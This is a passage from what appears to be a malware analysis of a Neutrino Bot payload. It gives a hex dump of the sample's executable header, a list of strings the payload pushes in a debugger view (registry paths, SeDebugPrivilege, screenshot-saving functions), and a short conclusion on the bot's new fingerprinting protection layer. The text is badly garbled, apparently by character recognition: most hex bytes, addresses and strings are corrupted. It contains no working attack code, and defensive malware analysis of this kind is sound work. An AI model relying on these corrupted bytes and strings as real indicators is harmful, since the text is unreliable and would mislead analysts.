AldeEEta|( 69 F¥3 28 7B T2 6F 67 72|61 &0 28 &3 &1 6E &E E&F| iz program canno
Al4eEEcE| 74 20 62 65 28 72 ¥5 6E 28 &9 6E 28 44 4F 53 28|t be run in DOS
Bld4cEEayE| 6D 6F &4 &5 ZE G0 B0 8A 24 0D B8 88 @8 00 B8 88| mode. . afaean s
A145EE8E[( 37 51 28 2F 73 30 4E FC 73 30 4E FC 73 30 4E FC| 7R =AM sBHI=BM1
A145EE9E|( FA 48 CA FC)F2 30 4E FC FA 48 CO 7C F2 3@ 4E FC|zH=irBNizH= i rBH1
Al4eEEAE|(ER FE D& FC)F2 3@ 4E 7FC 9B ZF 4R 7C F1 3@ 4E FCI 07 1icBMNT-JiglN)
Al4cEEEEA|FB 2C 48 7C 71 2@ 4E 7C 9B 2F 44 7C 72 2@ 4E 7C| -, EBigaNi T DixBN!
H14cEECH| PR 48 00 PC &6 30 4E 7C 72 30 4F 7C @8 3@ 4E PC| zHTifONi=B01 . 8H1
AideEanE| &2 AD E1 7C 42 30 4E 7C &2 AD D3 7C 72 30 4E PC| hspiCANIhsElrBM]
Al4EEEER|( 52 69 62 62|73 30 4E 7C AG OO 88 69 AE OO 88 88| Richs8Mi.
Bl4cEEFE| B8 B0 B8 88 68 0D B8 B8 8 0D B8 B8 88 0D BE @8 NLoO0pOooQpog
Ald4cElEE| 58 45 B8 8@ 4C @1 B4 @A 3F DE AS 58 688 0B B8 @8 PE..LE¢.7ﬂaH
Al4c8118| B0 88 B8 08 EQ B8 02 41 6B 01 9R &9 B8 SA 69 84| ....0.8878...

Payload

The loaded payload is a Neutrino Bot, with very similar features to the one that we described
in a previous post. However, we can find some similar elements like in the loader, for
example matching strings:

HE3B5EES | PUSH pav load. BASEBCAL4 UHICODE "regsur3z™

HEZBEEZ1 | PUSH pavw load. BASBCASS ASCII ""Software~N1WIUUE 2R A 0F £

BEAZBE17F| PUSH pay load. BR3ECASS ASCIT rridsssr

HEZBEE42| PUSH pavw load. BA3EBESE4 UNICODE "Hs Hs"*

HEZBSEE4 | PUSH pavw load. BB3BESAC UNICODE st

HE3BES40| PUSH pay load. BASBCASC UNICODE "SebebugPriwvilege™

BE3BY23% | PUSH pay load. B@3BCAZE UHICODE "#C"~:lzdHd™

HE3EY3I02| PUSH pav load. BASEEFES UHICOOE "Sof twares~5 10 i UUEE HGlnn~""

HE3BYSE4 PUSH pavw load. BASBCASS HSCII ""Software~Y1WiUUE £ R g 0F £

HEZBYee0| FUSH pavload. 8ASEBEFES UHICOOE "Sof twaress5 10U E Hinn~ "

HE3BYE07| MOV EDI, pay load. BE2ECEEBE | UNICODE "gdiplus.dlLl™

HEZBYEF1 | PUSH pav load. BASBCAS4 HSCII "EdLpCreateBLtmapFranBITHHP"

BEZBF722| PUSH pay load. 883BCACS ASCII "EdeSaveImageTnFL e’

BE3BYFFE| PUSH pavy load. 8@3BCA0C UHICODE " image~ jpeg™

BE3ZEYEC1 | PUSH pav load. BASBCAF4 UHICOOE "~screenshot.ipg™

BAZETECE| PUSH pay load. BASECI 14 UHICOOE "1 ilUE 2R R

BAZETIAL | PUSH pay load. BAZEC1 24 UHICODE ™..'"

HEZBYE4E | MOV EDI, pay load. BEZEBFEE | UNICODE "Sof tware N1 PUUZ 2B g~

HEZBYBCE| PUSH pav load. BAS3BEFES UNICODE "Sof tware~~Y1UiUUEE Hilnn "

HE3EBYBE4| PUSH pavw load. 8A3BEFES UNICODE "Sof tware~~5Y1UiUUEE Himn "

DO3ETCHZ| PUSH pay load.@83BBFES | UNICODE 7'Sof tware™~Y1UiLUZZExH "
Conclusion

Neutrino Bot has been on the market for a few years. It is rich in features but its internal
structure was never impressive. This time also, the malware authors did not make any
significant improvements to the main bot’s structure. However, they added one more
protection layer which is very scrupulous in its task of fingerprinting the environment and not
allowing the bot to be discovered.
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